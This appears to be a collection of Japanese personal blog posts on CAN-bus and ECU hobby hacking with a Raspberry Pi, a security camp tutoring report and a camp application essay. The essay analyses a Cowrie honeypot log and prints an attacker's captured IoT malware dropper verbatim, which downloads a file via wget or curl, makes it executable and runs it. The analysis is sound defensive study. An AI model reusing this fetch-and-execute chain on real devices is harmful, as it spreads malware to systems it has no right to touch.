リアルECU解析のための環境構築 ~ヨーレートセンサーを添えて~

はじめに

こんにちは、MsYです。

今回は、リアルECUをハックしてみたいと思い、ヨーレートセンサーの値をラズパイで取得するまでの手順をまとめました。

主にしゅーとさんの書籍・ブログを参考にさせて頂きました。

booth.pm

www.shutingrz.com

なお、Raspberry pi 3 Model B, ZERO WHのどちらでも再現できました。

用意するもの

  • 直流安定化電源
    • OUTPUTスイッチがあるものを購入*1
  • Raspberry pi
    • ZERO WHを使用。3 Model Bは文鎮化。
  • CAN コントローラ・CAN トランシーバ
    • MCP2515とTJA1050が合わさったモジュール*2を使用
  • ヨーレートセンサー
  • ブレッドボード
  • ワイヤ
  • テスター
  • はんだ、はんだごて(optional)

CANモジュールの改造

今回使用するCANモジュールでは、CANトランシーバに5Vを給電しなければなりません。そのために、基盤をカットする必要があります。

詳しくは以下のブログを参照してください。

CAN通信に入門!波形とプロトコルを確認してみた

Raspberry Pi で CAN通信(準備) – キルロボブログ

背面を鋭利なもので削った後、はんだ付けを行いました*3

しかし、素直にPICAN2/3か別の対応HAT*4を使ったほうがいいかもしれません(参考)。

ラズパイとCANモジュールとの配線

次のブログと同じ配線にしました。

Raspberry Pi で CAN通信(準備) – キルロボブログ

ピン番号とモジュールのピン名の対応

ラズパイ CANモジュール
22 INT
23 SCK
19 SI
21 SO
24 CS
25 GND
17 VCC
2 5V VCC

モジュールのINTをラズパイのGPIO 25(22) と繋ぐことにより、この後の設定を使い回すことができます。

Raspberry Pi OS上の設定

カーネルのバージョン

$ uname -a
Linux raspberrypi 5.15.56+ #1575 Fri Jul 22 20:26:40 BST 2022 armv6l GNU/Linux

can-utilsのインストール

sudo apt update -y && sudo apt upgrade -y
sudo apt install -y can-utils

CANモジュールの対応

/boot/config.txt に以下を追加しrebootする。*5

dtparam=spi=on
dtoverlay=mcp2515-can0,oscillator=8000000,interrupt=25,spimaxfrequency=500000
dtoverlay=spi-bcm2835-overlay

起動後、以下の表示が出ていたらラズパイがCANモジュールを認識していると分かります。

$ dmesg | grep "spi"
[xxxx] mcp251x spi0.0 can0: MCP2515 successfully initialized.

Pi3 だとdtoverlay=spi-bcm2835でした。設定に不備があった場合は、ラズパイ起動時に画面右上にspi-bcm2835 not found のようなポップアップが出てくるので、それで判断してください。

別のCANコントローラを使う場合は、oscillatorの周波数をそちらに合わせてください。 interruptは、配線の仕方によって値が異なります。今回は、GPIO 25 をモジュールのINTに繋いだため、25となりました*6

CANインタフェースの動作確認

CANインタフェースのloopbackをオンにします。

sudo ip link set can0 up type can bitrate 500000 loopback on
sudo ifconfig can0 up

ターミナルでcandumpを起動し、dumpをし続けます。

# 受信側
candump can0

もう一方のターミナルで適当な値をcansendし、先ほどのターミナルでdumpできたら成功です。

# 送信側
cansend can0 123#1122334455667788

確認後、loopbackをoffにします。onのままだとCANのデータはECUに流れません。

sudo ifconfig can0 down
sudo ip link set can0 up type can bitrate 500000 loopback off
sudo ifconfig can0 up

配線

ヨーレートセンサーのピンアサインはしゅーとさんのブログで紹介されていたため、それを参考にしました。

リアルECUを召喚して本物のCAN通信の雰囲気を知る | Shooting!!!

ラズパイとCANモジュールは既に繋げているため、あとはCANモジュール、ヨーレートセンサー、及び直流安定化電源を繋げて、candumpをします。

実際に繋げた様子が次の通りです。

12Vを流したところ、以下のようにcanパケットが流れました。成功です!

公開しても問題ないとは思いますが、念の為ぼかしています。

おわりに

自分で必要な機器を揃え、実際にcanパケットを見ることができて嬉しい!

次はエンジンメーターや他のECUの解析をやってみようと思います。

ここまで読んで頂き、ありがとうございました。

参考文献

0円で始めるカーハッキング - シャトルネットワークス - BOOTH

リアルECUを召喚して本物のCAN通信の雰囲気を知る | Shooting!!!

Raspberry Pi - CAN Bus communicatie (GPIO)

Analyze AutoMotive ECU - Speaker Deck

CAN通信に入門!波形とプロトコルを確認してみた

CANトランシーバ[MCP2562]の役割とCANコントローラとの違いを解説 | Tommy blog

Raspberry PiでOBD-II (CAN)の情報を取得するための基板を自作する #RaspberryPi - Qiita

changelog

2022/09/16: 配線の詳細, table of contentsを追加

セキュリティ・キャンプ全国大会 2022 オンライン Aチューター 参加記

はじめに

この度、セキュリティ・キャンプ全国大会 2022 オンライン Aクラスのチューターを担当させて頂きましたMsYです。 振り返りのために、参加記をここに残そうと思います。

追記1:Aチューター相方のよしみさんの参加記はこちらです。

yoshistl.hatenablog.com

追記2:来年度、ロバチャンを実施するかは分かりませんが、私が作成したサンプルコードを添付しておきます。

github.com

講義の振り返り

Aクラスは「IoTセキュリティクラス」となっています。

なぜAクラスを選んだかと言えば、趣味でCAN-busを触ってたり、研究や趣味(CTF)でバイナリを読んだり、脅威分析をインターンシップでやったことがあったり、と被る部分が何点かあったためです。

以下はAクラスの特徴です。

コンピュータというとPCやスマートフォンやサーバなどを思い浮かべるかもしれませんが、家にある家電製品のほぼ全て、バスや電車の制御や運行システム、病院や行政のシステム、工場の機械や電力ガスや交通信号のようなインフラも、全て何からのコンピュータで動作しネットワークで相互につながっています。それらを理解しセキュリティを強化しインシデントに対応するには、その構造や動作を一通り理解する必要があります。IoTセキュリティクラスでは、集積回路(ICチップ)やCPUの原理から、ネットワークプロトコル(通信手順)、医療情報システムや自動車内部ネットワークなどの専用設計されたシステム、ソフトウェアアーキテクチャなどの6つの題材をとりあげ、それぞれ原理や構造を解説し、実際の脆弱性や事例を紹介し、また手を動かす演習も組合せながら理解を深めていくことを目指しています。

ref. https://www.ipa.go.jp/jinzai/camp/2022/zenkoku2022_characteristic.html

Aクラスは、IoTデバイスがどう生活に影響しているかを知るために、病院のネットワークの現状(A1)や、ルーターのSBOMからセキュリティ分析を行う(A6)、時にはLSI設計の初歩(A2)の体験をしました。また、通信の仕組みを知るために、ロバチャン(A3, A5)を行ったり、ファイルシステムを知るためにFAT32の解析(A4)をしました。最後は、自動車内部ネットワークをhackできる講義(A7)も用意されており、とても充実した5日間でした。

またLT大会では、研究で触っていたAFLの入力に関する内容を発表しました(スターつけて)。

speakerdeck.com

チューターとしての振り返り

アンケートに書いたものをこちらに持ってきました。

チューターとして気をつけていたこと

  • オンライン上でのやりとりを活発にするために、質問がなければ率先した。
    • しかし、受講生の方々が率先して質問することが多かったため、あまり出番がなかった。
  • 独り言でもよいのでいうよう促すことで、議論の活性化を狙った。
  • (特にA関係の)DiscordとZoomの画面を監視し、トラブルがあれば対応していた。
  • 講義前に準備しておくべき項目を共有した。
  • 講義中の補足情報があれば、URLや資料を共有した。
  • 講義中に紹介された資料の出典の検索をしなくてすむよう、その都度私が率先してチャットに投げ、アクセスしやすいようにした。
    • (ググる手間が減るが、ググらせる機会は減る。しかし、私としては講義に集中して欲しいし...)

チューターとして改善すべき点

  • 得意分野であるが故に、答えに近いことを発言してしまった。
  • ヒントを多く与えてしまったことがあり、教育的効果が低くなったことがあった。
  • A3,A5に過去出場したことがなかったため、ネクストのチューターや経験者に頼る部分が多くなってしまった。
  • 受講者の前提知識を把握せず、これは知ってて当然だと思ったことの大半が外れてしまい、本題と関係ないところの説明に時間を要した。
    • 対策としては、講義で扱う技術で必須なものを、初期段階で知っている人、知らない人の集計をとるべきだった。

最後はとても重要で、講義によってはLinuxのコマンドがさわれないと1人で設定できないこともあり、知ってる前提で説明しても無駄になったり、時間を溶かすことになります。受講者が知らないこと自体は問題ではありません。教えれば良いので。ただそれは時間に余裕がないと、本番直前で対応しようにも、チューターの数と稼働期間どちらも限度があるので、難しいというわけです。

あと事前準備の稼働時間は4時間ということを忘れてました。

オンラインの難しさ

講義直前に受講生も気づいていないような準備物があっても、オンラインでは気づきにくいです。こちらから投げても、それを見るか(見られるか)どうかは受け取り手次第なので。オフラインだと、会場にいる他の受講者のPCをちらっとみれば気づき、チューターも即座に対応できます。この辺りどうにかならないかなあ...。

最後に

チューターの業務は、担当クラスの全講義のサポート、盛り上げ役、トラブルシューティング、及びその他雑用がモリモリです。しかし、講義をタダで受けられますし、給料が出ますし、飯・ホテル代を払ってくれます。そしてなにより、キャンプ関係者と交流ができる。

全国大会・ネクスト修了生のあなたもぜひ、チューターになってみませんか?


Changelog

  • 2022/8/15: 私が作成したサンプルコードの添付

  • 2022/8/15: 誤字・脱字の修正

  • 2022/8/14: よしみさんの参加記を追加

  • 2022/8/13: タイトルの修正「セキュリティ・キャンプ全国大会 Aチューター 参加記」→ 「セキュリティ・キャンプ全国大会 2022 オンライン Aチューター 参加記」

QEMUを勉強・改造時に参照するサイトのまとめ

研究でQEMUを弄っているのですが,ソースコードを読んでもよく分からない時があります.また,モジュール全体がどのように連携して動いてるのか分からない時など,解説が欲しい時があります.そのようなときに参照するサイトを紹介します.

from Binary to Binary: How Qemu Works

www.slideshare.net

QEMUを理解したいけど,細かすぎるところは気にしないから,要点だけ知りたい!という時におすすめです.

公式docs/wiki

www.qemu.org

wiki.qemu.org

なんだかんだで公式HPを一番読んでいます.

るくすさんのブログ

rkx1209.hatenablog.com

時間が経ってバージョンが古くなってますが,基本処理は同じなので参考になります.

Bletchley Park QEMU Intro

QEMU Intro. - Bletchley Park

QEMU CodeBlock Translationが特におすすめです。

msyksphinzさんのブログ

msyksphinz.hatenablog.com

偶に読みます.

QEMUノート

github.com

github.com

あまり読めていません.

エミュレーション全般

命令レベルシミュレーションの 高速実行に関する研究

2021年の振り返りと2022年の抱負

こんにちは

2021年もあと少しということで,今年の振り返り記事を書きます.

学部とは異なる大学院に入学して,今までの自分と比べて色々新しいことをやったと思います.

2021年の振り返り

月毎のイベント

4月まで: 卒論と引越し準備

文字通り

4月-7月: 授業と色々申し込み

文字通り

8月-10月: セキュリティ・ネクストキャンプに参加

研究活動の合間に参加しました.ネクスト参加者の何人かは今でも交流があります. 感想記事をその内投下しておきますか.

9月: インターンシップ参加

1週間ほどのインターンシップに参加し,制御システムの脅威分析を行いました. 最後署長や部長の前で発表しましたが,とても緊張しましたね...

11月: ET&IoT参加

久しぶりのリアルイベントということで,企業ブースやセッションに参加しました.大学ブースでは,研究紹介を行いました.久しぶりの革靴ということで,足がとても痛かったです.

12月: imctf 2021主催

主催といいつつ,インフラ方面は他の方が頑張ってくれました().ありがてえ..作問もうちょい頑張ればよかった.

通年

サークル活動

研究活動で疲れてて,十分に参加できなかったと思います.すみません.

GitHubの草生やし運動

4月から,1日1コミットでもしようということで,間に空白もありつつなんとか継続できました.

f:id:msy2456:20220102164157p:plain

READMEを編集しただけ,みたいなのは嫌だったので,ネタがない日はAtCoderやleetcodeを解いてました.ちなみにAtCoderはレートが下がるとモチベDownに繋がり,継続的活動ができないため,現在は参加してません.あくまで継続することを重視していたため,いきなり難しい問題を解くのではなく,ABC-Aだけ->ABC-Bだけ->ABC-Cと段階を踏むことで徐々に慣らしていきました.選定が面倒になった時はAtCoder ProblemsのRecommendationの内,EasyかModerateを解いてました(参考: 怠惰でもできる精進).

OSS活動(微修正のみ)

キャンプのcansat開発で使用していたライブラリで,人生初のOSSのプルリクエストがマージされました. 内容は,ログの順番が間違っていたので,修正したというものです.小さいものでもこれから少しずつ貢献できればと思ってます.

論文読み

Fuzzingやエミュレーション、輪講を含め,大体50報ぐらい(流し読みと深読み合算). 大半がアイディアと結果を見て終わり,みたいな読み方だったので,もう少し実装を見た方がいいんじゃないかなあと.関連論文をいっぱい読んだおかげか,論文を読むスピードは上がりました(やったね).

使ったツール

文書管理

  • Notion: 実験ノートや論文のまとめ
  • Scrapbox: 用語集

論文管理

その他

2022年の抱負

  • 研究成果を残す(対外発表をする)
  • OSSにPRをする
    • 次は機能実装したいですね
  • 分かりやすい発表だったと言ってもらえるようにする
    • 昔からあがり症で発表が苦手なので,練習を増やして徐々に上手くなりたいです
  • 質問の回数と質を上げる
    • 質問回数が少々足りないと感じているので,今年の倍以上にします.質に関しては,答えて終わるパターンが多かったためです.
  • 体重を落とす
    • 2kgぐらい増えました...

終わりに

今までの自分と比べて,そこそこ活動したんじゃないかと思います.

来年は修士2年ということで,進路選択が迫ってます.どの進路を選ぶのか,見守ってて下さい.

来年はカフェインを減らして,睡眠時間を確保しようね.

セキュリティ・ネクストキャンプ2021 応募課題

セキュリティ・ネクストキャンプ2021も無事終了したということで,応募課題を公開します.

体裁より物量で殴れば良いとどこかで聞いたので,些細なことも含めてひたすら書きました(追記:すみません、これは採用者によって評価基準が変わると思うので、毎年これで良いかと言われれば分かりません。また、ネクストと全国とまたトラック毎によって採点者も変わると思うので、参考程度でお願いします...。). 些細なことも書かないと伝わりませんし,何が審査員の琴線に触れるか分からない,なら書くしかない.

読んでみると滅茶苦茶なことが書かれていたりするので,温かい目で見て頂ければと思います.

来年以降にネクストキャンプに参加するつもりの方は参考にして頂ければ幸いです. (ネクストキャンプが毎年開催されるかはわかりませんが...)

以下,応募課題です.


あなたに関する問い

学部2年生では大学に出された科目を淡々とこなしており,特にこれがいいなと思わず過ごしておりました.そんな折に,学友からセキュリティ・ミニキャンプを紹介してもらい,セキュリティ・ミニキャンプに参加しました.セキュリティ分野に対して,社会的に需要があり,そして課題が山積みであることを認識しました.そしてセキュリティ分野で活躍している方々を見て,私もそのような人物になりたいと憧れるようになりました. しかし,セキュリティと言えど範囲が広大であるため,様々な情報や体験をすることで,徐々に定まっていくだろうと思い,2019年の奈良先端科学技術大学院大学のスプリングセミナーやリサーチインターンシップに赴きました.スプリングセミナーでは,主にカーセキュリティに対するexploitやCANに関するCTFをやらせて頂きました.コマンドを流すだけで,車のエンジンをふかすことができ,感動と恐怖を覚えました.リサーチインターンシップでは,共有メモリを用いたプロセスの調査をしました.IoT向けのマルウェアには,共有メモリを用いる傾向があり,アンチウイルスから回避するリスクがあります.そこでその再現をするための擬似検体を作成しました.共有メモリにアクセスする際に,セマフォを用いて安全に実行するプログラムを書きましたが,当時学部のOSの授業にてセマフォを習ったものの,どこで使うのかと思っていたため,感動しました.

ある時Ghidraの勉強会に参加し,リバースエンジニアリングに興味を持ちました.そこで,マルウェアを解析するためには,GitHubに公開されているファイルを落とすか,ハニーポットを構築し,そこから取得するしかないと,どこかの記事で見ました.そこでハニーポットも前から気になっていたので,GCPを使いCowireでtelnetssh用のハニーポットを立てました.この時,攻撃が毎日きていて思わずハニーポットを遮断してしまいそうになりました.東京のインスタンスに立てたので,中国やロシアからの攻撃があったのを覚えております.踏み台にしているため,大元は分かりませんが.パスワードは,アルファベットや数字の連続値やadminが多かったです.千ぐらいの攻撃の中,1~10ほどの攻撃の中にはルータのデフォルトパスワードも含まれてました.ログには,ほとんどの攻撃でbusyboxと呼ばれるコマンドが使われており,また流れに統一性があったため,スクリプトで動いていることを生で確認できました.集まったマルウェアらしきファイルをGhidraで解析すると,”ゲームを楽しもう”のような挑発する文言があったのを覚えております.また攻撃してきたログをGUIで表示するためのライブラリとしてcowire-logviewerというものがありましたが,UIが少々悪かったので,forkし,コミットしました(fork: https://github.com/msymt/cowrie-logviewer).IoTデバイスを狙うマルウェアとしてMiraiが有名ですが,ログを確認するとその亜種のようなものがよく見られたため,ブログに挙げまし(https://msy2456.hatenablog.com/entry/2019/12/06/004831).このようにレポートで満足せず,自分自身の手で動かし観測することを1ヶ月ほど動かしましたが,ログファイルが数十GBに溜まったり,仮に認可やハニーポットの設定を誤って,もし周りに迷惑をかけたらどうしようと不安になった為,ハニーポットの稼働を中止し,インスタンスも削除しました.しかし,大学院進学と共に再開しました.

私の今までの活動では,どうしても大学周りが多いため,座学のみで終わったり,環境上触れられなかったことが多いように思います.そこで,将来企業に就職か起業か,何かしら社会に専門家として振る舞う際,普段自分が精通していない領域でも,学習し,手を動かす人材になれるきっかけの一つとなれば良いなと思います.研究室での活動はどうしても分野がフォーカスしてしまい,よその分野を手に取れる機会が減りつつあるため,危惧しております.それを防ぐためにも大学院生ですが,サークルに入り,週1,2程度ですが学外の人含め,CTFやAtCoderなど研究以外のこともリーチしております.セキュリティ業界ではいつも予測していなかったな領域と融合し,そこから脅威を生み出しているため,一つのことに秀でることは勿論重要ですが,それだけにとらわれず,将来多種多様な部署や分野を統括する立場になったとして,それら多くの内容を理解でき,適切に指示できる人になりたいです.また,情報セキュリティに関する職に就くかわかりませんが,異分野でもあっても,普段から脆弱性やインシデントを防ぐためにも,教育者・開発者として世の中に貢献できる人としてなれたら良いなと思います.例えば社内・学内CTF運営です.

また,セキュリティ・ネクストキャンプに集まる方々は,優秀な方々であるため,その方々が普段どのように手を動かしているのか,その様子を直接観察し,またテイクするだけでなく,ギブできれば良いと考えます.お互い得のある場にしたいです.

課題への姿勢に関する問い

(今見ると間違っているところがあったのですが,そのままにします.)

疑問:ハニーポットから送られてきた命令は何をしているのだろう?

ハニーポット:cowireをGCPにたてて,ログを観察していたところ,バイト列が長いものがあったため,解析してみたいと思ったので,これを機に書き出してみます.

$ ~/cowrie/bin/playlog (ハッシュ値)

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@svr04:~# start
-bash: start: command not found
root@svr04:~# enable
enable .
enable :
enable [
enable alias
enable bg
enable bind
enable break
enable builtin
enable caller
enable cd
enable command
enable compgen
enable complete
enable continue
enable declare
enable dirs
enable disown
enable echo
enable enable
enable eval
enable exec
enable exit
enable export
enable false
enable fc
enable fg
enable getopts
enable hash
enable help
enable history
enable jobs
enable kill
enable let
enable local
enable logout
enable popd
enable printf
enable pushd
enable pwd
enable read
enable readonly
enable return
enable set
enable shift
enable shopt
enable source
enable suspend
enable test
enable times
enable trap
enable true
enable type
enable typeset
enable ulimit
enable umask
enable unalias
enable unset
enable wait
root@svr04:~# config terminal
-bash: config: command not found
root@svr04:~# system
-bash: system: command not found
root@svr04:~# linuxshell
-bash: linuxshell: command not found
root@svr04:~# su
root@svr04:~# shell
-bash: shell: command not found
root@svr04:~# sh
root@svr04:~# cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\x45\x4c\x46'
ELFroot@svr04:/# /bin/busybox wget;/bin/busybox echo -ne '\x45\x4c\x46'
wget: missing URL
Usage: wget [OPTION]... [URL]...

Try `wget --help' for more options.
ELFroot@svr04:/# cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /; rm -rf i; wget http://192.168.1.1:8088/i; curl -O http://192.168.1.1:8088/i; /bin/busybox wget http://192.168.1.1:8088/i; chmod 777 i || (cp /bin/ls ii;cat i>ii;rm i;cp ii i;rm ii); ./i; echo -e '\x63\x6F\x6E\x6E\x65\x63\x74\x65\x64'
--2021-04-24 11:11:05--  http://192.168.1.1:8088/i
Connecting to 192.168.1.1:8088... connected.
HTTP request sent, awaiting response... (

enableコマンドにより,ビルドインコマンドをチェックしている.

config terminal は,ciscoルータ用のコマンドのようだ(参照: https://beginners-network.com/cisco-catalyst-command/configure-terminal.html).つまり,ルータの設定を変えようとしていたと思われる.しかし,ubuntuのため敵わなかったようだ.

その後も,system, linuxshell, shell, sh とシェルで確実に末尾のコマンドを実行するための準備段階だと思われる.suは万が一管理者権限をもつアカウントに変更するためだと思われる.

root@svr04:~# cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\x45\x4c\x46'

これらは,該当するディレクトリがあれば左のディレクトリを優先的に移り,busyboxからechoコマンドを呼び出している.'\x45\x4c\x46' は試しに実行してみるとELFのことだった.ELFというとLInuxのELFファイルが思い浮かぶが,ここでELFファイルが関係あるとは思えない.まだELFファイルをダウンロードもしていないからだ.となると,このコマンドの実行元に何かしらの合図として送った可能性が高いだろう.おそらくcdで移れる対象が存在するOSはLinux,だからELFが動作する環境だとしているのかもしれない.

root@svr04:/# /bin/busybox wget;/bin/busybox echo -ne '\x45\x4c\x46'
wget: missing URL
Usage: wget [OPTION]... [URL]...

Try `wget --help' for more options.

これらは,busyboxwgetを呼び出た.ここもわざわざELFをechoする意味がわからないが,2重チェックのためにELFをechoしているのだろうか.そしてwgetと打っていることと変わらないため,wgetのUsageの標準出力が現れた.

root@svr04:/# cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /; rm -rf i; wget http://192.168.1.1:8088/i; curl -O http://192.168.1.1:8088/i; /bin/busybox wget http://192.168.1.1:8088/i; chmod 777 i || (cp /bin/ls ii;cat i>ii;rm i;cp ii i;rm ii); ./i; echo -e '\x63\x6F\x6E\x6E\x65\x63\x74\x65\x64'
--2021-04-24 11:11:05--  http://192.168.1.1:8088/i
Connecting to 192.168.1.1:8088... connected.
HTTP request sent, awaiting response... (

ここのcdで先ほどと同じことを繰り返しているのは,念の為,だろうか.rm -rf iは後ろの命令でiiファイルをiにコピーするために一度消しているのだろう.

次にwgetでローカルホストに立てたwebサーバのiディレクトリから何かを落とそうとしているのがわかる.もしくはHTTPステータスコードを観察して,webサーバの有無を確認しているのだろうか.connectedになっているが,responseを待っている状態で終わっている.もちろんwebサーバを立てた覚えはない.

試しに他のVMインスタンスを立てて,ローカルのwebサーバも立てていない状態で実行してみました.

wget http://192.168.1.1:8088/i
--2021-05-10 06:30:38--  http://192.168.1.1:8088/i
Connecting to 192.168.1.1:8088... failed: Connection timed out.
Retrying.
--2021-05-10 06:31:11--  (try: 2)  http://192.168.1.1:8088/i
Connecting to 192.168.1.1:8088... 
failed: Connection timed out.
Retrying.

タイムアウトになっていますが,awaiting response... (とは表示されませんでした.tcpdumpを使ってスクリプト実行時のpcapファイルでも取得して詳しく観察したいのですが,今回はできず.

(もう一個書きましたが,諸事情により省略します.当時興味をもったツールで遊んで色々検証しました.)

興味ある分野に関する問い

TDD+モブプログラミング

これは昨年度の話なのだが,講義でk-means法の紹介があり,学友と実装することになった.あまり時間はかけたくなかったため,プログラミング言語はPython3.xで.ライブラリはnumpyまでOKという流れになった.この時,別々に実装するのは面白くないとなって,当時Twitterでモブプログラミングを見ていたので,モブプログラミング形式で実装した.お互い,Pythonもnumpyもよく知らなかったため,序盤はどちらもナビゲーター兼ドライバーだった.最初に,入出力を検討した後,モジュールを設計した.まさに「先にテストを作成するということは、先に関数やモジュールの入出力、挙動を設計するということです。」と重なっている.その後,私はナビゲーターとなり,ドキュメントを読みながら,必要そうな関数や処理を元にドライバーにその内容を投げたり,指示したりした.VSCodeのLive shareを使ったため,コードの貼り付けは容易だった.その結果,作業はスムーズに進み実装は数時間で終え,100行未満の小規模なプログラムが完成した.

これを例えば,組み込み開発のようなデータシートを何度も参照するソフトウェアを開発する際に導入したらどうなるのだろうか.実装者がわざわざデータシートと睨めっこするよりも,効率が良くなるかもしれない.またデータシートをどう参照し,実装しているのかオブザーバーとして新人に参加させつつ,ドライバーとして手を動かしてもらうと教育効果が現れるか気になる.

教育目的でやっていないかと思い調べたら,何個か記事が現れた(例:https://tech.smartcamp.co.jp/entry/advantages-and-disadvantages-of-mob-programming).記事の問題として集中力や役割の変更忘れなどがあった.私がモブプロをしたときは,数時間で終わるような処理だったため,体感することはなかった.ただ,役割の変更忘れがあり,ドライバー・ナビゲーターが固定化された.友人との取り組みだったため,いざこざも不満も特になかったが,仕事となるとそうではなかったかもしれない.ただ取り組んでいて,一人でやるより断然楽しいのは確かだった.仕事で導入するならば,タイマーかモジュール単位で役割を変更することが,一つの目安となるだろう.

形式手法

形式手法は,論理学・数学の素養を必要としており,専門性が高く実践で導入するケースは少ないと感じる.近年のプログラミング言語の簡易化によって,例えば低レイヤーのことを意識する必要がなくなっていき,初心者でも受け入れられやすいプログラミング言語が増えている(Pythonなど).このようなパラダイムシフトが形式手法でも起きうるのかどうかが気がかりである.

IPAの資料に形式手法の導入事例について書かれた文献があった.

https://www.ipa.go.jp/files/000005272.pdf

適用が顕著な業界は,鉄道,電力,航空宇宙(講義紹介の通り)など,人の命と直結するような,ミスが許されない業界が多い.

形式手法がアジャイル開発のような,ウォーターフォールやV字と比べて,仕様書が変動しやすい手法において,導入されるのか,それとも柔軟に変更しやすい手法があるのか,設計があるならともに実装していくのはどうだろうか.

そもそも,現在適用が顕著な業界は,リサーチ不足で感覚的なものであるが,アジャイルよりウォーターフォールやV字モデルが採用されていると思われる.それが,web業界のような変化の激しい分野に適用させるための工夫も考えていきたい.

調べてみると,DeNAでは形式手法を取り組む動きが出ているようだ.まだ形式手法が長期的に良い手法かは見極め中と述べている. https://swet.dena.com/entry/2020/03/17/165835

形式手法がまだまだ普及しない理由としては,厳密性が要求されるからとも思える.自然言語なら我々が生まれながらに用いている言語をそのまま使用すれば良いが,形式手法では厳密性が要求される数学,論理学をベースとしているためである.

インプット駆動型アイディアソン・自分の知識をアウトプットしよう

研究では特にインプットにより先行研究をサーベイし,開拓されていない領域を探して,研究結果を学会発表や論文で世界に発信することが重要です.特にインプットしたものをプロトタイプとして実装し,試すことを早くすることでさまざまな知見を得られる可能性があります.研究とものづくりは異なるといえども,根幹は同じだと思うので,研究や今後の人生においても,インプットの効率や独創性を上げるために,インプット駆動型アイディアソンでは,他の参加者や私の異なるバックグラウンドや講義からどのように組み合わせるのか,いわばアイディアを考えるためのアイディアをともに議論できたら良いなと考えております.アウトプットも.その方法が上手くならないと人に知られないまま消えていくアイディアやプロダクトが増えていくと思います.研究でも上手く伝わらないと,予算獲得に不利になったり,発表で意図が伝わらず正しく評価してもらえない恐れがあります.そのためにも,インプット駆動型アイディアソンと同様にアウトプットするときに,話のストーリーや逆三角形型,話の聞き手のリスト作成,ないが言いたいかを念頭に作る,など他の参加者がどのようにしているのか共有し議論したいと思います.

その他に関する問い

学部1年生の頃,大学で開催されたアイディアソン+ハッカソンに参加しました.当時はプログラミングは授業で触った程度でテーマだったWebに関することは全くできず,担当は美術+会計と,チームに殆ど貢献できませんでした.その後同じチームで,当時社会人だった方にWebアプリケーション開発のアルバイトの紹介をして頂き,1年半ほど従事しました.主に三人体制でチーム開発を行い,人生で初めて複数人で一つのプロダクトをリリースしました.この時,ソフトウェア開発は手を動かしてなんぼで,学部で情報系を選んだことを少し後悔し始めました.今となっては電気電子分野もやっておいてもよかったのではないかと思う時があります.

学部2年生の頃,カナダのウォータールー大学へ1週間ほど大学の援助によって見学させて頂きました.そこで勉強や世界中で有名な某企業にインターンシップへ行く彼ら彼女らの姿を見ていると,今までなんとなく勉強していたこともやめて,手を動かしたり単位を取るだけでなく進んで興味を持って勉強したいと思うようになりました.そこで上記にあったアルバイトをしたり,セキュリティ・ミニキャンプへ参加したり,と学外の活動やイベントに参加するようになりました.参加したセキュリティ・ミニキャンプでCTFという存在を知り,当時仲良くさせて頂いてたセキュリティに精通していた方のCTFチームに混ざって活動しておりました.しかし圧倒的な力の差を知り,挫折をして今日までやめてしまいました(大学院へ入学と共に大学のCTFや競技プログラミングを行なっているサークルへ参加し,復帰しました.まだまだ初心者です.).

大学の講義や実験は真面目に取り組もうと思い,卒業時には成績優秀者として学部長賞を受賞しました.手を動かした経験が学内では多い方かもしれませんが,全国の当時学部4年生の方々と比べると少ないと薄々感じてしまい,ここで満足してはいけないと痛感しました.

(中略)

学友と大学院入試対策を行う過程で,コンピュータアーキテクチャを過去問とコンピュータの構成と設計という書籍を副読本として勉強しておりました.そこで,学友から上記の書籍の主張に納得がいかないという話が上がり,原著も含めて調査しました.その後,調査結果を出版社に送信したところ,原著の著者であるパターソン先生から原文の表現が悪かったとの旨が出版社経由で届き,私の主張が認められました.その結果がURL(https://project.nikkeibp.co.jp/bnt/atcl/14/P98420/043000002/)に書かれてある通りです.これによって,今まで座学とペーパー試験で大半が評価されていて,通用するかわからず不安になっておりましたが,ここで通用することがわかり嬉しかったことを覚えております.またその内容を学内のLT会でも発表し知識の共有ができました(pdf:https://speakerdeck.com/msymt/patahenefalsewu-riwobao-gao-sitahua).

(中略)

学部時代にアルバイト先で勉強会を開こうと社内の人や私と同じアルバイトの人を誘いました. URL(https://github.com/msymt/JS30Days)のようにJavaScriptの勉強として実装しました. これは,JavaScript30(https://javascript30.com/)という30個のテーマがあって,それぞれ最初にどういう動き,デザインかを簡単に説明した後,各自で実装してみようというものでした.私も当時詳しいわけではなかったのですが,勉強しつつ参加者の方と議論しつつ作成しました.また,TypeScriptの勉強もするために,docsを読みながら解説する会も行いました(https://github.com/scrank/just-TS).

(中略)

大学の卒業研究では,助教の先生や異分野の方々と協力し,乾燥地における農業関係のAndroidアプリケーション開発に取り組みました.要件定義では,異分野の方々含め話し合い,先生と共にユーザーストーリーマップを作成しました.作成したユーザーストーリーマップを基にAndroidアプリケーションを開発し,テストを行い,最終的に関係者向けにベータ版のリリースまで行いました.この時,異分野の方々にシステム設計をどう説明するか(例えば,電波の届かない環境でユーザがアプリを操作した時,サーバに反映させるにはどうするか.結局Firebaseを使いましたが)に戸惑いつつも,社会に出る前に経験できて貴重な機会を得られたと思います.研究内容は,情報処理学会のWIPセッションで発表しました(URL: http://id.nii.ac.jp/1001/00207751/)

最後に,ここまで読んで頂きありがとうございました.私が大学生活の中で活動した内容の大体は書いたと思います.


以上が応募課題です.

次は君だ(オールマイト)

私が締め切り前に使うもの

私が締め切り前や徹夜するときに使うものを紹介します

  • カフェイン
  • 冷えピタ
    • これで目を開かせます
  • 立ち机
    • 座ったら寝てしまいます
  • 部屋を明るくする(ライト)

締め切りには余裕をもって取り組みましょう(自戒)

腰を痛めました

昨年から机に向かう時間が増えたせいか,ついに腰を痛めました.

一人暮らしで,ベットから立ち上がれず詰みを感じましたが,なんとか家を出ました.

最初はタクシーを呼ぼうか迷ったのですが,料金シミュレータを使うと,片道三千円...うーん却下!.

太ももから下はなんとか動かせたので,チャリでATM経由で病院へ行き,診察.

結果は,筋を痛めただけとのこと.後背骨が若干右に曲がっていたと.ひえええ...

医師からは,定期的にストレッチと腹筋をしなさいとのこと.

スタンディングディスクを投入したのにこのざま.もっと立って作業するぞー.

しばらくは,痛み止めの投薬とベルト生活になりそうです.

ヘルニアとかギックリ腰とかじゃなくてよかった.